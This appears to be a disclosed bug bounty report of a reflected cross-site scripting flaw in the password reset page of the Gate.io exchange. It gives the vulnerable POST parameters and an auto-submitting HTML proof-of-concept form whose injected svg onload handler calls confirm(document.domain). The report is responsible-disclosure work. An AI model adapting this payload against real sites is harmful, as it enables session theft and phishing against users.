Reflected XSS in Reset Password Page

Company

Gate.io

Created date

Jul 14 2020

Target

gate.io

Vulnerability Details

Hi,

I would like to report a Cross-Site Scripting (XSS) vulnerability that affects gate.io main domain.

Kindly find below the full vulnerability details :

Type of the vulnerability:

Reflected Cross-Site Scripting (XSS)

Impact:

The vulnerability allow a remote attacker to inject html tags and execute Javascript in the same context of gate.io domain which could lead to steal user's session, peform CSRF attacks or open a phishing page on gate.io.

Affected Domain:

gate.io

Affected Page:

https:// /resetpw

Affected Parameter:

name
email

Request Method:

POST

XSS Proof of Concept:

https:// /POC/Gate.io_XSS.html

I've attached screenshot for the XSS POC and XSS POC Page.

Kindly check and review the vulnerability.

Thanks in advance!

Validation steps

Host the following XSS HTML POC code on your domain:

<html>
  <body>
    <form action="https:// /resetpw" method="POST">
      <input type="hidden" name="name" value="test&quot;&gt;&lt;svg&#47;onload&#61;&quot;confirm&#40;document.domain&#41;&quot;&gt;" />
      <input type="hidden" name="email" value="tester&#64;gmail&#46;com&#32;" />
      <input type="hidden" name="fingerprint" value="4cc3ed1ac29fbe65dc2a131570880861" />
      <input type="hidden" name="geetest&#95;challenge" value="67dbf8e6456e7d664f663b70134b99z1jx" />
      <input type="hidden" name="geetest&#95;validate" value="a8a5dbd62cc80086bfb2544ee887b9bb" />
      <input type="hidden" name="geetest&#95;seccode" value="a8a5dbe62cc80086bfb2544ee887bxbb&#124;jordan" />
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>